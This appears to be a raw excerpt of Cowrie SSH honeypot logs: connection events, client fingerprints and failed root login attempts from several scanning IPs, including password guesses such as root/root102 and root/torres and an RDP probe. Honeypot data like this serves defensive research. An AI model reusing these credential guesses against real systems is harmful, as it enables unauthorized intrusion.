{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:15.662233Z","src_ip":"213.209.159.158","session":"05ad362de578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noone","password":"noone","message":"login attempt [noone/noone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:25.246310Z","src_ip":"213.209.159.158","session":"05ad362de578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:28.533774Z","src_ip":"213.209.159.158","session":"05ad362de578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2780,"dst_ip":"159.203.135.109","dst_port":22,"session":"704e0850d740","protocol":"ssh","message":"New connection: 213.209.159.158:2780 (159.203.135.109:22) [session: 704e0850d740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:28.621624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:31.494388Z","src_ip":"213.209.159.158","session":"704e0850d740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:31.497927Z","src_ip":"213.209.159.158","session":"704e0850d740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65147,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee01be59059c","protocol":"ssh","message":"New connection: 152.42.212.128:65147 (10.17.0.5:22) [session: ee01be59059c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:34.262008Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:34.266421Z","src_ip":"152.42.212.128","session":"ee01be59059c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:34.269794Z","src_ip":"152.42.212.128","session":"ee01be59059c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root102","message":"login attempt [root/root102] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:40.877352Z","src_ip":"213.209.159.158","session":"704e0850d740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"476302e7c732","protocol":"ssh","message":"New connection: 87.121.69.138:39616 (10.17.0.5:22) [session: 476302e7c732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.330366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.334924Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.419362Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:b0:04:68:ba:80:76:30:f1:a1:d3:a9:a4:aa:b1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDs7mFKz6OIueHdWiFx/t6sQI007og6xbVYB3p6V/gx9ustxAboCRFxK2aQBDNEgqiUX/uAGpOhwCdPG4V6n/km2VrAePVPG3VlbEnitv8Lit87Wgwm3MrmPEn2hBbaVgUFx0S432Zaro6eKaKgEe37p7iYG3r9xYlwNrtyfpx200DMkPvnTcbXbVCiV7ABekZrtCklY6tdeJYw7iJlePnDpnKp8Ya6ZjeNvwIxBHouu+IQ3Cqcwes8KChcSmCPRceVpVvCzPTBSXKqWcd1d6jHLTi3IvRjA/QNo8NPZaKorsdQ8jNkWUXhR6A54HAAhuiQyvDb6BcG7k3ZizR0EsFvfFlFeIgCAvkxnbhEE0qyI9mL7ZzcbE+JfZNJqhua5jBvn72ASMQafVjogt8RGImyost9xA12APcfbhHbg7wII8SF4c3j+EA4YbsyphjS1KuOIh8Gkzhpftm9J232zVyC1ZPn7/e1xW9cMSiVGjuhzFIPjCbQxeVbAN0EQzm4tJM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:b0:04:68:ba:80:76:30:f1:a1:d3:a9:a4:aa:b1:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.809758Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:b0:04:68:ba:80:76:30:f1:a1:d3:a9:a4:aa:b1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDs7mFKz6OIueHdWiFx/t6sQI007og6xbVYB3p6V/gx9ustxAboCRFxK2aQBDNEgqiUX/uAGpOhwCdPG4V6n/km2VrAePVPG3VlbEnitv8Lit87Wgwm3MrmPEn2hBbaVgUFx0S432Zaro6eKaKgEe37p7iYG3r9xYlwNrtyfpx200DMkPvnTcbXbVCiV7ABekZrtCklY6tdeJYw7iJlePnDpnKp8Ya6ZjeNvwIxBHouu+IQ3Cqcwes8KChcSmCPRceVpVvCzPTBSXKqWcd1d6jHLTi3IvRjA/QNo8NPZaKorsdQ8jNkWUXhR6A54HAAhuiQyvDb6BcG7k3ZizR0EsFvfFlFeIgCAvkxnbhEE0qyI9mL7ZzcbE+JfZNJqhua5jBvn72ASMQafVjogt8RGImyost9xA12APcfbhHbg7wII8SF4c3j+EA4YbsyphjS1KuOIh8Gkzhpftm9J232zVyC1ZPn7/e1xW9cMSiVGjuhzFIPjCbQxeVbAN0EQzm4tJM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.813718Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:5d:14:75:2f:f4:40:c8:9c:31:c4:2d:dd:94:dd:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLQeP/kYvVfttV5r1WxB53VTIqDGpQZgoY6XFN+58AcIXba8WbDbfjpL1DKcylyx2bNEtHRHS0cOvzVsOnJkpuxR1ZROLEWaz0eJsVxTtwklFQHzwgAS2tW0NBfFOTg7V2z/gjwMyNfeq+RD3relxCuP1AddFg4FpHHFH1ct4nl64P7UhwRDDbNiTeD7VQX3gfbj+YE1S6LryExL9CI6Vjz5pRsN5+s/HVi5f0ghUjRKXxxBLl/gNenooOJWH/+CPngFteO4U7kIGoslgG/EHAywOEKyM3zi8FKx9yBvug+l0EG31qUT2YeXOFq5fMg8sEJskXXsIMRDnDBK6bx7BF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:5d:14:75:2f:f4:40:c8:9c:31:c4:2d:dd:94:dd:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.896994Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:5d:14:75:2f:f4:40:c8:9c:31:c4:2d:dd:94:dd:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLQeP/kYvVfttV5r1WxB53VTIqDGpQZgoY6XFN+58AcIXba8WbDbfjpL1DKcylyx2bNEtHRHS0cOvzVsOnJkpuxR1ZROLEWaz0eJsVxTtwklFQHzwgAS2tW0NBfFOTg7V2z/gjwMyNfeq+RD3relxCuP1AddFg4FpHHFH1ct4nl64P7UhwRDDbNiTeD7VQX3gfbj+YE1S6LryExL9CI6Vjz5pRsN5+s/HVi5f0ghUjRKXxxBLl/gNenooOJWH/+CPngFteO4U7kIGoslgG/EHAywOEKyM3zi8FKx9yBvug+l0EG31qUT2YeXOFq5fMg8sEJskXXsIMRDnDBK6bx7BF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.900714Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:0d:ec:b2:34:29:7c:ee:0a:19:90:cd:b7:33:be:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyMllPLq4HXQaTL1RrONW61e7p/Kdxh8kE0mVDpJp5tE0NE0d1DpUDzDC9F2mHqiqgmDma55GysKxxolqhHtVOx+7eYDTY2kCVaK3L3r6mCCg7+QiNzx5HYU0CQV/V/v5MYbHKzWPXRKWEHnDt3xgySW4FyoAuWypwAF9lYDzd8cUfgsr4Hcp1mGBxe0sn//d0MmID3CPzSe86LTO4hDGbTVoM/lXc583a4PfRhQWKQCi10zIwyF8EcGPEtfCVEIX8c01Sov1Njub3NG0Zt0NrmH/MZhK6uGevyHoYnx0ps3d362ZmQfXfiOsZwY289pKwcusuGjocN7yhOFZkW8GUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:0d:ec:b2:34:29:7c:ee:0a:19:90:cd:b7:33:be:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.985620Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:0d:ec:b2:34:29:7c:ee:0a:19:90:cd:b7:33:be:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyMllPLq4HXQaTL1RrONW61e7p/Kdxh8kE0mVDpJp5tE0NE0d1DpUDzDC9F2mHqiqgmDma55GysKxxolqhHtVOx+7eYDTY2kCVaK3L3r6mCCg7+QiNzx5HYU0CQV/V/v5MYbHKzWPXRKWEHnDt3xgySW4FyoAuWypwAF9lYDzd8cUfgsr4Hcp1mGBxe0sn//d0MmID3CPzSe86LTO4hDGbTVoM/lXc583a4PfRhQWKQCi10zIwyF8EcGPEtfCVEIX8c01Sov1Njub3NG0Zt0NrmH/MZhK6uGevyHoYnx0ps3d362ZmQfXfiOsZwY289pKwcusuGjocN7yhOFZkW8GUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:43.989253Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.044640Z","src_ip":"213.209.159.158","session":"704e0850d740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:46:b3:6b:83:12:b3:18:88:92:d1:e4:39:db:40:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/oGwk15kyCETKN4eAKRux1R9CJl6DYCKJy1Mx4xyaRxMRF+EyfAXI/AvPvbM6xnJydH3TePJvfajOYgusZsbCMyC9nIgmMXSxZcy1EtIeNqIUN/H8JahEnYgZzLH60ft8Fuz3cUUVGwW4RAb4t8RVp0Q7UjIpvulY2lWL/6LBTPWrWiqquMEvbD8GiUW0nkRG66d56pCG7IhnNE0JeGXYgk1gi5T0UgYiN0QViNnoC+tl3zwy5NjgG7OtZRyheDMyjCGbdAfwbu4rPgCtaH08bx5tYOZcZvaC7GXXecWmKFkidkkJx+Nec6F/Y8dSVxgDKHXueVbEexiI1LG+gA5p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:46:b3:6b:83:12:b3:18:88:92:d1:e4:39:db:40:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.072600Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:46:b3:6b:83:12:b3:18:88:92:d1:e4:39:db:40:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/oGwk15kyCETKN4eAKRux1R9CJl6DYCKJy1Mx4xyaRxMRF+EyfAXI/AvPvbM6xnJydH3TePJvfajOYgusZsbCMyC9nIgmMXSxZcy1EtIeNqIUN/H8JahEnYgZzLH60ft8Fuz3cUUVGwW4RAb4t8RVp0Q7UjIpvulY2lWL/6LBTPWrWiqquMEvbD8GiUW0nkRG66d56pCG7IhnNE0JeGXYgk1gi5T0UgYiN0QViNnoC+tl3zwy5NjgG7OtZRyheDMyjCGbdAfwbu4rPgCtaH08bx5tYOZcZvaC7GXXecWmKFkidkkJx+Nec6F/Y8dSVxgDKHXueVbEexiI1LG+gA5p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.076580Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7274,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddb0de26cfc7","protocol":"ssh","message":"New connection: 213.209.159.158:7274 (159.203.135.109:22) [session: ddb0de26cfc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.129864Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:52:31:c5:eb:ed:dc:d7:19:b4:86:3d:72:1b:07:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkfd0I6CQYHYE5HSbN02vpRxmQ58FbGeNC8aE47eEmdhazPBs2igsJk+pWWqeKsqNTHF10geoOHp/slepmOTUeSqrqEydhsgdMfF5473F0cbqxKgqz0HxKkwzno9ZzMCdn32qzKnXSvY6rdC4+cjrWrqXyRvVG25HzSZbkuUNTr9i9fKTzlysPyQEf/85S57r5Lt3FVGbCaEoNAu8tIqbjAxJXUv2m2+xDSVEkU7ipqNA3Sww1f+E4DpKW/4jOmD9rHRZUbo3pU9qdgwwWZDZkFAXP+xw91RT6RtMdLTmwbvVVYFH4nT2KiWv0CyDQRFx1vG+3haJ9F4EfMvszZDeZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:52:31:c5:eb:ed:dc:d7:19:b4:86:3d:72:1b:07:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.160001Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:52:31:c5:eb:ed:dc:d7:19:b4:86:3d:72:1b:07:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkfd0I6CQYHYE5HSbN02vpRxmQ58FbGeNC8aE47eEmdhazPBs2igsJk+pWWqeKsqNTHF10geoOHp/slepmOTUeSqrqEydhsgdMfF5473F0cbqxKgqz0HxKkwzno9ZzMCdn32qzKnXSvY6rdC4+cjrWrqXyRvVG25HzSZbkuUNTr9i9fKTzlysPyQEf/85S57r5Lt3FVGbCaEoNAu8tIqbjAxJXUv2m2+xDSVEkU7ipqNA3Sww1f+E4DpKW/4jOmD9rHRZUbo3pU9qdgwwWZDZkFAXP+xw91RT6RtMdLTmwbvVVYFH4nT2KiWv0CyDQRFx1vG+3haJ9F4EfMvszZDeZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.164252Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:44.247803Z","src_ip":"87.121.69.138","session":"476302e7c732","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:46.646602Z","src_ip":"213.209.159.158","session":"ddb0de26cfc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:46.649745Z","src_ip":"213.209.159.158","session":"ddb0de26cfc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58452,"dst_ip":"10.17.0.5","dst_port":22,"session":"52e9c2d65d90","protocol":"ssh","message":"New connection: 147.45.199.80:58452 (10.17.0.5:22) [session: 52e9c2d65d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:47.288810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:47.293144Z","src_ip":"147.45.199.80","session":"52e9c2d65d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:47.389369Z","src_ip":"147.45.199.80","session":"52e9c2d65d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"torres","message":"login attempt [root/torres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:47.675666Z","src_ip":"147.45.199.80","session":"52e9c2d65d90","protocol":"ssh"}
